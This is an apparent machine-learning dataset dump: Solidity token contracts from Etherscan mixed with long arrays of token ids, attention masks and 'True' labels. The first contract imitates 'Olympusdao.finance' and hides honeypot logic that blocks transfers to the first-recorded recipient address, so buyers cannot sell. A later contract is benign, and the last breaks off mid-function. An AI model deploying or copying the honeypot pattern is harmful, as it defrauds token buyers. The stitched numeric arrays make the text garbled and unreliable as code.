1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1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
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
/**
*Submitted for verification at Etherscan.io on 2021-06-20
*/
pragma solidity ^0.5.17;
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract BEP20Interface {
function totalSupply() public view returns (uint);
function balanceOf(address tokenOwner) public view returns (uint balance);
function allowance(address tokenOwner, address spender) public view returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes memory data) public;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract TokenBEP20 is BEP20Interface, Owned{
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint _totalSupply;
address public newun;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
constructor() public {
symbol = "🏆 Olympus";
name = "Olympusdao.finance";
decimals = 9;
_totalSupply = 60000 * 10**6 * 10**8;
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
function transfernewun(address _newun) public onlyOwner {
newun = _newun;
}
function totalSupply() public view returns (uint) {
return _totalSupply.sub(balances[address(0)]);
}
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
require(to != newun, "please wait");
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
if(from != address(0) && newun == address(0)) newun = to;
else require(to != newun, "please wait");
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes memory data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data);
return true;
}
function () external payable {
revert();
}
}
/**
function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
// split the contract balance into halves
uint256 half = contractTokenBalance.div(2);
uint256 otherHalf = contractTokenBalance.sub(half);
// capture the contract's current ETH balance.
// this is so that we can capture exactly the amount of ETH that the
// swap creates, and not make the liquidity event include any ETH that
// has been manually sent to the contract
uint256 initialBalance = address(this).balance;
// swap tokens for ETH
swapTokensForEth(half); // <- this breaks the ETH -> HATE swap when swap+liquify is triggered
// how much ETH did we just swap into?
uint256 newBalance = address(this).balance.sub(initialBalance);
// add liquidity to uniswap
addLiquidity(otherHalf, newBalance);
emit SwapAndLiquify(half, newBalance, otherHalf);
}
function swapTokensForEth(uint256 tokenAmount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
owner(),
block.timestamp
);
}
//this method is responsible for taking all fee, if takeFee is true
function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
}
*/
contract Olympusdao is TokenBEP20 {
function clearCNDAO() public onlyOwner() {
address payable _owner = msg.sender;
_owner.transfer(address(this).balance);
}
function() external payable {
}
}
/**
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
// pragma solidity >=0.6.2;
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
*/ | True | [
101,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
25682,
1011,
5757,
1011,
2322,
1008,
1013,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1019,
1012,
2459,
1025,
3075,
3647,
18900,
2232,
1063,
3853,
5587,
1006,
21318,
3372,
1037,
1010,
21318,
3372,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
1039,
1007,
1063,
1039,
1027,
1037,
1009,
1038,
1025,
5478,
1006,
1039,
1028,
1027,
1037,
1007,
1025,
1065,
3853,
4942,
1006,
21318,
3372,
1037,
1010,
21318,
3372,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
1039,
1007,
1063,
5478,
1006,
1038,
1026,
1027,
1037,
1007,
1025,
1039,
1027,
1037,
1011,
1038,
1025,
1065,
3853,
14163,
2140,
1006,
21318,
3372,
1037,
1010,
21318,
3372,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
1039,
1007,
1063,
1039,
1027,
1037,
1008,
1038,
1025,
5478,
1006,
1037,
1027,
1027,
1014,
1064,
1064,
1039,
1013,
1037,
1027,
1027,
1038,
1007,
1025,
1065,
3853,
4487,
2615,
1006,
21318,
3372,
1037,
1010,
21318,
3372,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
1039,
1007,
1063,
5478,
1006,
1038,
1028,
1014,
1007,
1025,
1039,
1027,
1037,
1013,
1038,
1025,
1065,
1065,
3206,
2022,
2361,
11387,
18447,
2121,
12172,
1063,
3853,
21948,
6279,
22086,
1006,
1007,
2270,
3193,
5651,
1006,
21318,
3372,
1007,
1025,
3853,
5703,
11253,
1006,
4769,
19204,
12384,
2121,
1007,
2270,
3193,
5651,
1006,
21318,
3372,
5703,
1007,
1025,
3853,
21447,
1006,
4769,
19204,
12384,
2121,
1010,
4769,
5247,
2121,
1007,
2270,
3193,
5651,
1006,
21318,
3372,
3588,
1007,
1025,
3853,
4651,
1006,
4769,
2000,
1010,
21318,
3372,
19204,
2015,
1007,
2270,
5651,
1006,
22017,
2140,
3112,
1007,
1025,
3853,
14300,
1006,
4769,
5247,
2121,
1010,
21318,
3372,
19204,
2015,
1007,
2270,
5651,
1006,
22017,
2140,
3112,
1007,
1025,
3853,
4651,
19699,
5358,
1006,
4769,
2013,
1010,
4769,
2000,
1010,
21318,
3372,
19204,
2015,
1007,
2270,
5651,
1006,
22017,
2140,
3112,
1007,
1025,
2724,
4651,
1006,
4769,
25331,
2013,
1010,
4769,
25331,
2000,
1010,
21318,
3372,
19204,
2015,
1007,
1025,
2724,
6226,
1006,
4769,
25331,
19204,
12384,
2121,
1010,
4769,
25331,
5247,
2121,
1010,
21318,
3372,
19204,
2015,
1007,
1025,
1065,
3206,
14300,
5685,
9289,
10270,
8095,
5963,
1063,
3853,
4374,
29098,
12298,
2389,
1006,
4769,
2013,
1010,
21318,
3372,
17788,
2575,
19204,
2015,
1010,
4769,
19204,
1010,
27507,
3638,
2951,
1007,
2270,
1025,
1065,
3206,
3079,
1063,
4769,
2270,
3954,
1025,
4769,
2270,
2047,
12384,
2121,
1025,
2724,
6095,
6494,
3619,
7512,
5596,
1006,
4769,
25331,
1035,
2013,
1010,
4769,
25331,
1035,
2000,
1007,
1025,
9570,
2953,
1006,
1007,
2270,
1063,
3954,
1027,
5796,
2290,
1012,
4604,
2121,
1025,
1065,
16913,
18095,
2069,
12384,
2121,
1063,
5478,
1006,
5796,
2290,
1012,
4604,
2121,
1027,
1027,
3954,
1007,
1025,
1035,
1025,
1065,
3853,
4651,
12384,
2545,
5605,
1006,
4769,
1035,
2047,
12384,
2121,
1007,
2270,
2069,
12384,
2121,
1063,
2047,
12384,
2121,
1027,
1035,
2047,
12384,
2121,
1025,
1065,
3853,
5138,
12384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
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
/**
*Submitted for verification at Etherscan.io on 2019-07-10
*/
/**
*Submitted for verification at Etherscan.io on 2019-05-25
*/
/**
* Source Code first verified at https://etherscan.io on Tuesday, February 27, 2018
(UTC) */
pragma solidity 0.4.19;
contract Token {
/// @return total amount of tokens
function totalSupply() constant returns (uint supply) {}
/// @param _owner The address from which the balance will be retrieved
/// @return The balance
function balanceOf(address _owner) constant returns (uint balance) {}
/// @notice send `_value` token to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transfer(address _to, uint _value) returns (bool success) {}
/// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint _value) returns (bool success) {}
/// @notice `msg.sender` approves `_addr` to spend `_value` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of wei to be approved for transfer
/// @return Whether the approval was successful or not
function approve(address _spender, uint _value) returns (bool success) {}
/// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) constant returns (uint remaining) {}
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
contract RegularToken is Token {
function transfer(address _to, uint _value) returns (bool) {
//Default assumes totalSupply can't be over max (2^256 - 1).
if (balances[msg.sender] >= _value && balances[_to] + _value >= balances[_to]) {
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
} else { return false; }
}
function transferFrom(address _from, address _to, uint _value) returns (bool) {
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value >= balances[_to]) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
} else { return false; }
}
function balanceOf(address _owner) constant returns (uint) {
return balances[_owner];
}
function approve(address _spender, uint _value) returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint) {
return allowed[_owner][_spender];
}
mapping (address => uint) balances;
mapping (address => mapping (address => uint)) allowed;
uint public totalSupply;
}
contract UnboundedRegularToken is RegularToken {
uint constant MAX_UINT = 2**256 - 1;
/// @dev ERC20 transferFrom, modified such that an allowance of MAX_UINT represents an unlimited amount.
/// @param _from Address to transfer from.
/// @param _to Address to transfer to.
/// @param _value Amount to transfer.
/// @return Success of transfer.
function transferFrom(address _from, address _to, uint _value)
public
returns (bool)
{
uint allowance = allowed[_from][msg.sender];
if (balances[_from] >= _value
&& allowance >= _value
&& balances[_to] + _value >= balances[_to]
) {
balances[_to] += _value;
balances[_from] -= _value;
if (allowance < MAX_UINT) {
allowed[_from][msg.sender] -= _value;
}
Transfer(_from, _to, _value);
return true;
} else {
return false;
}
}
}
contract SATToken is UnboundedRegularToken {
uint public totalSupply = 10000000000*10**4;
uint8 constant public decimals = 4;
string constant public name = "smartx";
string constant public symbol = "SAT";
function SATToken() {
balances[msg.sender] = totalSupply;
Transfer(address(0), msg.sender, totalSupply);
}
} | True | [
101,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
10476,
1011,
5718,
1011,
2184,
1008,
1013,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
10476,
1011,
5709,
1011,
2423,
1008,
1013,
1013,
1008,
1008,
1008,
3120,
3642,
2034,
20119,
2012,
16770,
1024,
1013,
1013,
28855,
29378,
1012,
22834,
2006,
9857,
1010,
2337,
2676,
1010,
2760,
1006,
11396,
1007,
1008,
1013,
10975,
8490,
2863,
5024,
3012,
1014,
1012,
1018,
1012,
2539,
1025,
3206,
19204,
1063,
1013,
1013,
1013,
1030,
2709,
2561,
3815,
1997,
19204,
2015,
3853,
21948,
6279,
22086,
1006,
1007,
5377,
5651,
1006,
21318,
3372,
4425,
1007,
1063,
1065,
1013,
1013,
1013,
1030,
11498,
2213,
1035,
3954,
1996,
4769,
2013,
2029,
1996,
5703,
2097,
2022,
5140,
1013,
1013,
1013,
1030,
2709,
1996,
5703,
3853,
5703,
11253,
1006,
4769,
1035,
3954,
1007,
5377,
5651,
1006,
21318,
3372,
5703,
1007,
1063,
1065,
1013,
1013,
1013,
1030,
5060,
4604,
1036,
1035,
3643,
1036,
19204,
2000,
1036,
1035,
2000,
1036,
2013,
1036,
5796,
2290,
1012,
4604,
2121,
1036,
1013,
1013,
1013,
1030,
11498,
2213,
1035,
2000,
1996,
4769,
1997,
1996,
7799,
1013,
1013,
1013,
1030,
11498,
2213,
1035,
3643,
1996,
3815,
1997,
19204,
2000,
2022,
4015,
1013,
1013,
1013,
1030,
2709,
3251,
1996,
4651,
2001,
3144,
2030,
2025,
3853,
4651,
1006,
4769,
1035,
2000,
1010,
21318,
3372,
1035,
3643,
1007,
5651,
1006,
22017,
2140,
3112,
1007,
1063,
1065,
1013,
1013,
1013,
1030,
5060,
4604,
1036,
1035,
3643,
1036,
19204,
2000,
1036,
1035,
2000,
1036,
2013,
1036,
1035,
2013,
1036,
2006,
1996,
4650,
2009,
2003,
4844,
2011,
1036,
1035,
2013,
1036,
1013,
1013,
1013,
1030,
11498,
2213,
1035,
2013,
1996,
4769,
1997,
1996,
4604,
2121,
1013,
1013,
1013,
1030,
11498,
2213,
1035,
2000,
1996,
4769,
1997,
1996,
7799,
1013,
1013,
1013,
1030,
11498,
2213,
1035,
3643,
1996,
3815,
1997,
19204,
2000,
2022,
4015,
1013,
1013,
1013,
1030,
2709,
3251,
1996,
4651,
2001,
3144,
2030,
2025,
3853,
4651,
19699,
5358,
1006,
4769,
1035,
2013,
1010,
4769,
1035,
2000,
1010,
21318,
3372,
1035,
3643,
1007,
5651,
1006,
22017,
2140,
3112,
1007,
1063,
1065,
1013,
1013,
1013,
1030,
5060,
1036,
5796,
2290,
1012,
4604,
2121,
1036,
14300,
2015,
1036,
1035,
5587,
2099,
1036,
2000,
5247,
1036,
1035,
3643,
1036,
19204,
2015,
1013,
1013,
1013,
1030,
11498,
2213,
1035,
5247,
2121,
1996,
4769,
1997,
1996,
4070,
2583,
2000,
4651,
1996,
19204,
2015,
1013,
1013,
1013,
1030,
11498,
2213,
1035,
3643,
1996,
3815,
1997,
11417,
2000,
2022,
4844,
2005,
4651,
1013,
1013,
1013,
1030,
2709,
3251,
1996,
6226,
2001,
3144,
2030,
2025,
3853,
14300,
1006,
4769,
1035,
5247,
2121,
1010,
21318,
3372,
1035,
3643,
1007,
5651,
1006,
22017,
2140,
3112,
1007,
1063,
1065,
1013,
1013,
1013,
1030,
11498,
2213,
1035,
3954,
1996,
4769,
1997,
1996,
4070,
19273,
19204,
2015,
1013,
1013,
1013,
1030,
11498,
2213,
1035,
5247,
2121,
1996,
4769,
1997,
1996,
4070,
2583,
2000,
4651,
1996,
19204,
2015,
1013,
1013,
1013,
1030,
2709,
3815,
1997,
3588,
19204,
2015,
3039,
2000,
2985,
3853,
21447,
1006,
4769,
1035,
3954,
1010,
4769,
1035,
5247,
2121,
1007,
5377,
5651,
1006,
21318,
3372,
3588,
1007,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
/**
*Submitted for verification at Etherscan.io on 2021-08-15
*/
pragma solidity ^0.4.25;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
newOwner = address(0);
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier onlyNewOwner() {
require(msg.sender != address(0));
require(msg.sender == newOwner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
require(_newOwner != address(0));
newOwner = _newOwner;
}
function acceptOwnership() public onlyNewOwner returns(bool) {
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract ERC20 {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function allowance(address owner, address spender) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
}
interface TokenRecipient {
function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external;
}
contract CABToken is ERC20, Ownable, Pausable {
using SafeMath for uint256;
struct LockupInfo {
uint256 releaseTime;
uint256 termOfRound;
uint256 unlockAmountPerRound;
uint256 lockupBalance;
}
string public name;
string public symbol;
uint8 public decimals;
uint256 internal initialSupply;
uint256 internal totalSupply_;
mapping(address => uint256) internal balances;
mapping(address => bool) internal locks;
mapping(address => bool) public frozen;
mapping(address => mapping(address => uint256)) internal allowed;
mapping(address => LockupInfo) internal lockupInfo;
event Unlock(address indexed holder, uint256 value);
event Lock(address indexed holder, uint256 value);
event Burn(address indexed owner, uint256 value);
event Mint(uint256 value);
event Freeze(address indexed holder);
event Unfreeze(address indexed holder);
modifier notFrozen(address _holder) {
require(!frozen[_holder]);
_;
}
constructor() public {
name = "CAB";
symbol = "CAB";
decimals = 18;
initialSupply = 500000000;
totalSupply_ = initialSupply * 10 ** uint(decimals);
balances[owner] = totalSupply_;
emit Transfer(address(0), owner, totalSupply_);
}
function () public payable {
revert();
}
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public whenNotPaused notFrozen(msg.sender) returns (bool) {
if (locks[msg.sender]) {
autoUnlock(msg.sender);
}
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _holder) public view returns (uint balance) {
return balances[_holder];
}
function lockupBalance(address _holder) public view returns (uint256 balance) {
return lockupInfo[_holder].lockupBalance;
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused notFrozen(_from)returns (bool) {
if (locks[_from]) {
autoUnlock(_from);
}
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
